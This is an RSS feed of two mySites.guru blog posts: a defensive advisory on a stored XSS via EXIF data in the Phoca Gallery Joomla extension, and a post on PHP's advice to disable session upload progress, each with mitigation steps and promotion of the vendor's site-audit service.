<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>mySites.guru Blog</title><description>Tips, tutorials, and updates about managing your WordPress and Joomla sites with mySites.guru.</description><link>https://mysites.guru/</link><language>en-gb</language><atom:link rel="hub" href="https://pubsubhubbub.appspot.com/"/><atom:link rel="self" type="application/rss+xml" href="https://mysites.guru/rss.xml"/><image><url>https://mysites.guru/favicon.svg</url><title>mySites.guru Blog</title><link>https://mysites.guru/blog/</link></image><item><title>Phoca Gallery 6.1.6 fixes a stored XSS hidden in a photo&apos;s EXIF data</title><link>https://mysites.guru/blog/phoca-gallery-exif-stored-xss/</link><guid isPermaLink="true">https://mysites.guru/blog/phoca-gallery-exif-stored-xss/</guid><description>Phoca Gallery 4.5.0 to 6.1.5 lets a crafted image&apos;s EXIF data run script on the photo info view. 6.1.6 fixes it on Joomla 6 only; Joomla 4 and 5 are stranded.</description><pubDate>Fri, 23 Oct 2026 16:39:18 GMT</pubDate><content:encoded>&lt;p&gt;On 19 October 2026 Phoca released &lt;a href=&quot;https://github.com/PhocaCz/PhocaGallery/releases/tag/6.1.6&quot;&gt;Phoca Gallery 6.1.6&lt;/a&gt;, a security release for the Joomla gallery extension. The release notes say one thing about it: “This is a security release.” The Joomla CNA published the detail as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102786/&quot;&gt;CVE-2026-102786&lt;/a&gt; on 23 October 2026, a stored cross-site scripting flaw through HTML attribute injection, affecting Phoca Gallery 4.5.0 to 6.1.5.&lt;/p&gt;
&lt;p&gt;We read the 6.1.5 to 6.1.6 diff to work out what that means for a site running the extension. It means a photo can attack the person looking at it. The EXIF metadata inside an uploaded image was written into the photo’s info page without escaping, so a crafted image runs script in the browser of anyone who opens that view, and the fix is only on offer to Joomla 6 sites.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Phoca Gallery &lt;strong&gt;4.5.0 to 6.1.5&lt;/strong&gt; builds the front-end photo info view from the image’s own EXIF metadata, and raw fragments of it reach the page markup&lt;/li&gt;
&lt;li&gt;A crafted EXIF value &lt;strong&gt;breaks out of an HTML attribute&lt;/strong&gt; and runs as script when anyone opens that photo’s info view, in the context of your site&lt;/li&gt;
&lt;li&gt;The attacker needs to get an image into a gallery: back-end upload rights, or the front-end user upload feature, which is &lt;strong&gt;off by default&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;6.1.6 fixes it&lt;/strong&gt;, and only on the Joomla 6 line. The current Joomla 5 (5.1.3) and Joomla 4 (4.5.5) releases are inside the affected range with no patched successor&lt;/li&gt;
&lt;li&gt;Most affected sites run Joomla 6 and update normally. Joomla 4 and 5 sites have to install the 6.x package by hand or remove the component&lt;/li&gt;
&lt;li&gt;The flaw is &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102786/&quot;&gt;CVE-2026-102786&lt;/a&gt;, CVSS 4.0 8.6 High, published by the Joomla CNA on 23 October 2026. This is Phoca’s fix; we analysed the release after it shipped&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;8.6&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102786/&quot;&gt;CVE-2026-102786&lt;/a&gt;CVE-2026-102786: stored XSS through a gallery image&apos;s EXIF data&lt;/p&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;Joomla CNA&lt;/span&gt;&lt;/p&gt;&lt;p&gt;A crafted image&apos;s EXIF metadata runs script in the browser of anyone who opens that photo&apos;s info view, in the context of your site. That can hijack a logged-in session, including an administrator&apos;s.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Needs gallery upload access&lt;/span&gt;&lt;span&gt;Fires on the photo info view&lt;/span&gt;&lt;span&gt;Fix only on the Joomla 6 line&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:A&lt;/dt&gt;&lt;dd&gt;Active: Someone has to be talked through a few steps&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:L&lt;/dt&gt;&lt;dd&gt;Low: The site slows or stutters&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;How a photo’s EXIF data becomes script in Phoca Gallery&lt;/h2&gt;
&lt;p&gt;Phoca Gallery has a front-end info view for each image that shows the camera data stored inside the file: the EXIF block that a camera or phone writes at capture time, and that any image editor can rewrite afterwards. Part of that block is the GPS position, which EXIF stores as fractions, and the view in &lt;code&gt;site/views/info/view.html.php&lt;/code&gt; split those fractions on the &lt;code&gt;/&lt;/code&gt; and joined the pieces into a display string for the page.&lt;/p&gt;
&lt;p&gt;Before 6.1.6 the pieces went into that string exactly as they were read from the file. The view expected numbers and never checked that it had them. An EXIF field that holds a quote mark and some markup instead of a number closes the HTML attribute it was dropped into, and whatever follows is parsed as part of the page. The browser runs it with the site’s own origin, for whoever opened the photo.&lt;/p&gt;
&lt;p&gt;That is what makes this stored rather than reflected. The payload lives in the image file in the gallery, so it fires for every visitor who opens that photo’s info view until the image is removed, with nothing in the URL to give it away. An administrator who opens it from the back end hands over their session, which is why the CNA scored confidentiality and integrity both high.&lt;/p&gt;
&lt;p&gt;The attacker’s only requirement is to get the image into a gallery. On a typical site that means an account with upload rights in the Phoca Gallery back end. If the front-end user upload feature is switched on, which it is not by default, a lower-privileged user can do it from the public side. That is the gap between the CNA’s title, which says “authenticated”, and its vector, which says no privileges required: the person who plants the image needs access, the person it fires on needs none.&lt;/p&gt;
&lt;h2&gt;What changed in Phoca Gallery 6.1.6&lt;/h2&gt;
&lt;p&gt;The fix is in one file, the info view, and it is the only functional change between the 6.1.5 and 6.1.6 tags. Each component of the EXIF fractions is now cast to a float before it is used, and a division by zero is guarded so a zero denominator no longer produces an error or an odd value. Only numeric data reaches the markup, so there is nothing left for a crafted EXIF value to break out with.&lt;/p&gt;
&lt;p&gt;That is a narrow fix for a narrow path. It treats the GPS fields as numbers, which they are supposed to be, and it closes the attribute injection. It does not add output escaping across the rest of the view, so the release tells you which values were the problem rather than hardening the whole page, and the CNA’s description matches that scope.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;What we did and did not test&lt;/p&gt;&lt;div&gt;&lt;p&gt;This is a reading of the released code, not an attack on anyone’s gallery. We have not uploaded an image to any live site, and we are not publishing a crafted file or a working EXIF value.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Which Phoca Gallery versions are affected?&lt;/h2&gt;
&lt;p&gt;Phoca Gallery 4.5.0 to 6.1.5 inclusive, which is the range the Joomla CNA record names. Phoca maintains one release line per Joomla version, and only the Joomla 6 line received the fix:&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Joomla version&lt;/th&gt;&lt;th&gt;Newest Phoca Gallery the updater offers&lt;/th&gt;&lt;th&gt;Has the EXIF XSS fix?&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Joomla 6&lt;/td&gt;&lt;td&gt;6.1.6&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 5&lt;/td&gt;&lt;td&gt;5.1.3&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 4&lt;/td&gt;&lt;td&gt;4.5.5&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 3&lt;/td&gt;&lt;td&gt;3.2.8&lt;/td&gt;&lt;td&gt;Outside the published range (4.5.0 and up)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;That table comes from &lt;a href=&quot;https://raw.githubusercontent.com/PhocaCz/PhocaGallery/master/manifest.xml&quot;&gt;Phoca’s update manifest&lt;/a&gt;, which matches each Joomla generation to a release on a &lt;code&gt;targetplatform&lt;/code&gt; pattern. The Joomla 5 release, 5.1.3, and the Joomla 4 release, 4.5.5, both sit inside 4.5.0 to 6.1.5 and neither has a patched successor. A site on either of them cannot update to safety from Joomla’s update screen.&lt;/p&gt;
&lt;p&gt;The Joomla 3 line is a different case. Its newest release, 3.2.8, is below the 4.5.0 floor of the published range, so we are not claiming it is affected, and we are not claiming it is clean either. The CNA record does not cover it.&lt;/p&gt;
&lt;h2&gt;Joomla 4 and 5 sites have to install Phoca Gallery 6.1.6 by hand&lt;/h2&gt;
&lt;p&gt;Phoca’s update feed offers each Joomla version one release, and Joomla discards any offered version that is not higher than the one installed. On Joomla 4 and Joomla 5 that produces two different failures:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;A Joomla 4 or 5 site on the 4.x or 5.x line&lt;/strong&gt; is offered 4.5.5 or 5.1.3. Both are inside the affected range, so the site owner can apply the update in good faith and still be exposed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A Joomla 4 or 5 site already running a 6.x build&lt;/strong&gt; is offered a lower version. Joomla shows no update at all, and the site looks current while it runs 6.1.5 or older.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The fix in both cases is the 6.x package from the &lt;a href=&quot;https://github.com/PhocaCz/PhocaGallery/releases/tag/6.1.6&quot;&gt;6.1.6 release&lt;/a&gt;, installed through Joomla’s extension installer after a backup. That may mean moving the site to Joomla 6 first, and if the gallery is no longer earning its place on the site, removing the component is the shorter route.&lt;/p&gt;
&lt;p&gt;Across the Joomla sites we manage, the majority of the affected Phoca Gallery installs run Joomla 6 and will update normally. About one in seven is on a Joomla 4 or 5 line with no fixed release. That proportion is from sites that an agency actively looks after; the wider Joomla world still runs a lot of Joomla 4, so the share of stranded galleries out there is likely higher.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;An empty update list is not proof you are patched&lt;/p&gt;&lt;div&gt;&lt;p&gt;On Joomla 4 and Joomla 5, Phoca Gallery can show no available update while running a vulnerable version, or offer an update that is itself inside the affected range. Check the installed version under System, Manage, Extensions and compare it with 6.1.6 by eye.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What to do about it on each Joomla version&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Joomla 6:&lt;/strong&gt; update Phoca Gallery to 6.1.6 through the normal Joomla updater, then confirm the version number.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla 5:&lt;/strong&gt; take a backup, then install the 6.x package by hand from the &lt;a href=&quot;https://github.com/PhocaCz/PhocaGallery/releases/tag/6.1.6&quot;&gt;GitHub release&lt;/a&gt;. Do not take the 5.1.3 the updater offers as a fix for this. If the package will not install on your site, plan the move to Joomla 6 or remove the gallery.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla 4:&lt;/strong&gt; the same choice. The updater’s 4.5.5 is inside the affected range. Install the 6.x package by hand after a backup, which will usually mean moving the site to Joomla 6 first, or remove the component until you can.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;On any Joomla version:&lt;/strong&gt; this is stored XSS, so the question is who could have planted an image. If front-end user upload was ever enabled, review which accounts had it and what they uploaded. Check the existing galleries for images added by accounts you do not recognise, and treat an administrator who opened a suspect photo’s info view as having a session that may have been used.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/joomlaversion&quot;&gt;See which of your sites are still on Joomla 4 or 5&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/joomlaversion&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;How mySites.guru flags vulnerable Phoca Gallery installs&lt;/h2&gt;
&lt;p&gt;The Phoca Gallery version alone does not tell you what to do here. You need the Joomla version beside it, because that decides whether the updater will deliver 6.1.6, whether you need the package by hand, or whether the site has to move to Joomla 6 first.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps both for each connected Joomla site. We added this flaw to our &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerability database&lt;/a&gt; on the day the CVE was published, so every site running Phoca Gallery between 4.5.0 and 6.1.5 is flagged on its dashboard now, with the Joomla version on the same screen. The Joomla 6 sites can go out in one batch with the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt;, which leaves a short list of Joomla 4 and 5 sites for the manual package. That works the same way across a &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;portfolio of Joomla sites&lt;/a&gt; of any size, and is part of every &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;subscription&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Why a gallery’s EXIF data is attacker-controlled&lt;/h2&gt;
&lt;p&gt;EXIF is written by whoever made the file. A camera fills it in, but so does any image editor, any command-line tool, and any script, and the file does not care whether the GPS field holds a fraction or a sentence. From the moment a site accepts an uploaded image, every byte of its metadata is input from the person who uploaded it, and a feature that reads that metadata back onto a page is an injection surface in the same way a comment form is. Developers tend to see the image as a blob and the EXIF as trusted camera data, when it is a user-supplied text block that happens to travel inside a JPEG.&lt;/p&gt;
&lt;p&gt;In fifteen years of looking after client sites, the galleries have been the features nobody reviews. They are installed once for a photo page, the upload accounts are handed out to whoever runs the events, and the extension sits there for a decade. A flaw in the info view of a gallery on a site like that fires on the one person who clicks every photo to check it, which is usually the administrator.&lt;/p&gt;
&lt;p&gt;This is the third Phoca extension this year where the fix reached only the current Joomla line. The &lt;a href=&quot;https://mysites.guru/blog/phoca-cart-sql-injection-product-filter/&quot;&gt;Phoca Cart product filter SQL injection&lt;/a&gt; in August showed the distribution problem first, the &lt;a href=&quot;https://mysites.guru/blog/phoca-cart-6-1-9-download-idor/&quot;&gt;Phoca Cart download IDOR&lt;/a&gt; in October repeated it, and the &lt;a href=&quot;https://mysites.guru/blog/phoca-download-authenticated-file-upload-rce/&quot;&gt;Phoca Download upload flaw&lt;/a&gt; had the same shape. Phoca is quick with the fix each time. What a site on an older Joomla gets from each release is a version number that looks current and the same vulnerable code underneath, and the release notes do not say which lines were left out.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-102786&quot;&gt;CVE-2026-102786 at NVD&lt;/a&gt; - the NVD record for the Phoca Gallery EXIF stored XSS.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-102786&quot;&gt;CVE-2026-102786 on cve.org&lt;/a&gt; - the Joomla CNA record with the affected range and the CVSS 4.0 vector.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/PhocaCz/PhocaGallery/releases/tag/6.1.6&quot;&gt;Phoca Gallery 6.1.6 on GitHub&lt;/a&gt; - the security release, with the package download for a manual install.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://raw.githubusercontent.com/PhocaCz/PhocaGallery/master/manifest.xml&quot;&gt;Phoca Gallery update manifest&lt;/a&gt; - the feed that decides which Phoca Gallery each Joomla version is offered.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/79.html&quot;&gt;CWE-79: Improper Neutralization of Input During Web Page Generation&lt;/a&gt; - the weakness class the CNA assigned.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html&quot;&gt;OWASP Cross Site Scripting Prevention Cheat Sheet&lt;/a&gt; - why data inside an HTML attribute needs its own escaping rules.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>phoca</category><category>vulnerability</category><category>extensions</category><category>xss</category><enclosure url="https://mysites.guru/img/og/blog/phoca-gallery-exif-stored-xss.png" length="0" type="image/png"/></item><item><title>The PHP Project Advises Turning Off Session Upload Progress Until the Next Release</title><link>https://mysites.guru/blog/php-session-upload-progress-advisory/</link><guid isPermaLink="true">https://mysites.guru/blog/php-session-upload-progress-advisory/</guid><description>PHP has posted an informational advisory on session upload progress and CVE-2026-115560. Who needs to act, the one-line fix, and how to find sites with it on.</description><pubDate>Fri, 23 Oct 2026 11:42:27 GMT</pubDate><content:encoded>&lt;p&gt;On 23 October 2026 &lt;a href=&quot;https://bsky.app/profile/thephpf.bsky.social/post/3myjyb74m2c2j&quot;&gt;the PHP project advised&lt;/a&gt; site owners to set &lt;code&gt;session.upload_progress.enabled=0&lt;/code&gt; until the next regular bugfix release, to fully protect against what it calls an “unlikely RCE vector”, tracked as CVE-2026-115560. The notice sits on the php.net homepage as an informational advisory, and it is separate from &lt;a href=&quot;https://mysites.guru/blog/php-critical-security-release-joomla-wordpress/&quot;&gt;this week’s two critical PHP2Shell flaws&lt;/a&gt;, which were fixed on 21 October and need a PHP update, not a config change.&lt;/p&gt;
&lt;p&gt;If you already set &lt;code&gt;session.upload_progress.enabled=0&lt;/code&gt; after the 21 October advisory, you are done: php.net says to keep it in place and that no further action is needed. If you did not, it is a one-line change to a PHP config file, and the rest of this post covers who actually needs it, where the line goes, and how to find the sites that still have the feature on.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/php-session-upload-progress-advisory-phpnet.DzCUijIw_Z2q0MXx.webp&quot; alt=&quot;PHP.net informational advisory dated 23 October 2026 advising site owners to set session.upload_progress.enabled to 0 until the next regular bugfix release, to protect against an unlikely RCE vector tracked as CVE-2026-115560&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;512&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;PHP&apos;s informational advisory on php.net, 23 October 2026.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;div&gt;&lt;p&gt;What to do&lt;/p&gt;&lt;div&gt;&lt;p&gt;Set &lt;code&gt;session.upload_progress.enabled=0&lt;/code&gt; in your PHP configuration. It is a config change, not a code change, and it cannot be done with &lt;code&gt;ini_set()&lt;/code&gt;. If you applied it on 21 October for CVE-2026-109619, keep it and do nothing else. This does not replace updating PHP for the two critical flaws: only a patched PHP (8.5.12, 8.4.27, 8.3.36 or 8.2.35) fixes those.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Do You Need to Do Anything Right Now?&lt;/h2&gt;
&lt;p&gt;If you applied the &lt;code&gt;session.upload_progress.enabled=0&lt;/code&gt; mitigation on 21 October, no. If you did not, set it to 0 now and leave it there until the next PHP release. Most sites are not exploitable through CVE-2026-115560, because it needs an unusual configuration that stock Joomla and WordPress do not use, but PHP still recommends turning the feature off as a precaution.&lt;/p&gt;
&lt;p&gt;The reason PHP can be this relaxed is in the advisory itself. The flaw “can only occur under an unusual combination of configuration and application code”, and because that setup is “unlikely in practice”, PHP is handling it in the regular release cycle rather than as an out-of-band security release. The full advisory for CVE-2026-115560 is due with the next release. Until then the CVE is assigned but not published, so there is no CVSS score, no description and no affected-version list to quote, and anyone quoting one is guessing.&lt;/p&gt;
&lt;p&gt;This week has been loud enough for PHP site owners without a third alarm, and the honest description of this advisory is cheap belt-and-braces: a setting almost nobody uses, switched off until the fix is out.&lt;/p&gt;
&lt;h2&gt;How mySites.guru Shows Which Sites Have It On&lt;/h2&gt;
&lt;p&gt;At the start of this week, when disabling session upload progress was only a footnote mitigation in the &lt;a href=&quot;https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp&quot;&gt;GHSA-6wmf-4rv5-p3rp advisory&lt;/a&gt; for CVE-2026-109619, mySites.guru added a read-only check called PHP Session Upload Progress Setting. It records the value of &lt;code&gt;session.upload_progress.enabled&lt;/code&gt; on every connected site at each snapshot, and snapshots run twice a day. It does not change the setting and cannot, because the directive is not writable at runtime. It just reports what each site has.&lt;/p&gt;
&lt;p&gt;Two days later that boring inventory is the whole job. The 23 October advisory does not ask you to understand a vulnerability, it asks you to find every site where a particular ini value is still 1 and change it. After 15 years of looking after other people’s sites, that is the step where time goes: not the fix, which is one line, but the hunt across a dozen hosts, three control panels and a handful of sites nobody remembers the login for. If you already hold the list, the advisory is an afternoon. If you do not, you are logging in to each one to run &lt;code&gt;phpinfo()&lt;/code&gt;. We wrote about &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-agencies-firefight-php2shell-at-scale/&quot;&gt;the same problem at agency scale&lt;/a&gt; earlier this week, when the question was which PHP version each host was running.&lt;/p&gt;
&lt;p&gt;mySites.guru now flags sites that still have session upload progress on, so the list is one screen rather than a spreadsheet you build by hand. Two caveats. First, a site showing the feature on is normal rather than a sign of compromise or a careless host, because it is the PHP default and almost nothing turns it off. Second, switching it off does not help an unpatched PHP against the PHP2Shell RCEs. The PHP version check and this check sit side by side for a reason, and the PHP version is the one that matters more.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hostingenvironment/sessionuploadprogress&quot;&gt;See which sites still have session upload progress on&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs on every snapshot, twice a day.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hostingenvironment/sessionuploadprogress&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The check is part of the mySites.guru subscription alongside the PHP version, vulnerability and malware checks that have been doing the heavy lifting this week. If you want to see what it reports for one of your sites before paying anything, a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; runs the same checks and shows you the result.&lt;/p&gt;
&lt;h2&gt;What Is PHP Session Upload Progress?&lt;/h2&gt;
&lt;p&gt;PHP session upload progress is a feature that records the progress of an in-flight file upload into the user’s &lt;code&gt;$_SESSION&lt;/code&gt;, so a page can show an upload progress bar by polling with a separate AJAX request. It is controlled by &lt;code&gt;session.upload_progress.enabled&lt;/code&gt;, which has been on by default since PHP 5.4, and it is documented in the &lt;a href=&quot;https://www.php.net/manual/en/session.upload-progress.php&quot;&gt;PHP manual&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;While an upload is in progress, PHP writes an entry into the session with the bytes received so far, the total expected, and the filename, and updates it as the upload continues. The application never has to opt in to any of this: if the setting is on and a form includes the right hidden field, the data appears in the session.&lt;/p&gt;
&lt;p&gt;Very few applications use it. The GHSA advisory calls it a “hardly-used and hardly-tested feature”, which is a frank description from the people who maintain it, and it is why the GHSA says it may be prudent to keep it off even after patching. Because it is the PHP default, in the mySites.guru database almost every connected site reports it on, which says nothing about those sites except that nobody has ever had a reason to touch the setting.&lt;/p&gt;
&lt;h2&gt;Why Most Sites Are Not Exposed&lt;/h2&gt;
&lt;p&gt;The advisory is specific about what has to be true for CVE-2026-115560 to be reachable. An application must set &lt;code&gt;session.serialize_handler&lt;/code&gt; to &lt;code&gt;php_binary&lt;/code&gt; or &lt;code&gt;php_serialize&lt;/code&gt; in its configuration, then switch it to &lt;code&gt;php&lt;/code&gt; at runtime with &lt;code&gt;ini_set()&lt;/code&gt; before calling &lt;code&gt;session_start()&lt;/code&gt;. Session upload progress must also still be enabled. All three have to hold at once.&lt;/p&gt;
&lt;p&gt;Switching the serialize handler at runtime is rare. Stock Joomla and stock WordPress do not do it, and PHP’s own words are that “applications that never change the serialize handler at runtime can keep the feature enabled”. So for the large majority of sites the CVE is not reachable regardless of the upload progress setting, and that is why PHP chose the regular release cycle over an emergency release.&lt;/p&gt;
&lt;p&gt;PHP still suggests setting the feature off, for the same reason the GHSA did two days earlier: it is a hardly-used feature, turning it off costs nothing, and it removes the exposure rather than relying on an audit of every extension and plugin’s session handling. That is a reasonable trade. You are very probably not vulnerable, and the fix is still worth the two minutes.&lt;/p&gt;
&lt;h2&gt;How Do You Set session.upload_progress.enabled to 0?&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;session.upload_progress.enabled&lt;/code&gt; is a PHP_INI_PERDIR directive, so it is set in &lt;code&gt;php.ini&lt;/code&gt;, a PHP-FPM pool configuration, a &lt;code&gt;.user.ini&lt;/code&gt; file in the site’s web root, or &lt;code&gt;.htaccess&lt;/code&gt; under mod_php. It cannot be changed at runtime with &lt;code&gt;ini_set()&lt;/code&gt;, which means no plugin, extension or line in &lt;code&gt;configuration.php&lt;/code&gt; or &lt;code&gt;wp-config.php&lt;/code&gt; can do it for you. The directive is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;session.upload_progress.enabled=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On most managed hosting the host controls &lt;code&gt;php.ini&lt;/code&gt;, so the practical route is &lt;code&gt;.user.ini&lt;/code&gt; if your host honours it, or a support ticket asking the host to set it. Some control panels expose PHP ini overrides in their own interface, which writes the same directive for you. If you run your own server, put it in the pool configuration or &lt;code&gt;php.ini&lt;/code&gt; and reload PHP-FPM.&lt;/p&gt;
&lt;p&gt;Then confirm it took effect. A &lt;code&gt;.user.ini&lt;/code&gt; or &lt;code&gt;.htaccess&lt;/code&gt; change is read on a following request, so make a fresh one and check &lt;code&gt;session.upload_progress.enabled&lt;/code&gt; in &lt;code&gt;phpinfo()&lt;/code&gt; or with &lt;code&gt;ini_get()&lt;/code&gt;. If the site is connected to mySites.guru, the next snapshot records the new value and the site leaves the list of sites still showing it on.&lt;/p&gt;
&lt;h2&gt;How This Fits This Week’s PHP Security Releases&lt;/h2&gt;
&lt;p&gt;On 21 October 2026 PHP &lt;a href=&quot;https://www.php.net/archive/2026.php#2026-10-21-5&quot;&gt;released 8.5.12, 8.4.27, 8.3.36 and 8.2.35&lt;/a&gt;, fixing two critical flaws: CVE-2026-109618, remote code execution via out-of-memory corruption, and CVE-2026-109619, remote code execution via stale global state. Both are rated CVSS 4.0 9.2 and both are unauthenticated remote code execution. The pair has been named PHP2Shell, a name coined by Wiz. PHP 8.1 and older are end of life and get no official fixed release. The same morning &lt;a href=&quot;https://mysites.guru/blog/joomla-org-offline-php-security-releases/&quot;&gt;joomla.org was offline&lt;/a&gt;, which made it a long day for anyone looking after Joomla sites.&lt;/p&gt;
&lt;p&gt;CVE-2026-115560 is a separate, lower-stakes vector in the same session upload progress feature. It was not fixed in the 21 October releases, and it will be fixed properly in the next monthly bugfix release, expected mid-to-late November 2026, when PHP will also publish the full advisory. Disabling the feature is the bridge until then.&lt;/p&gt;
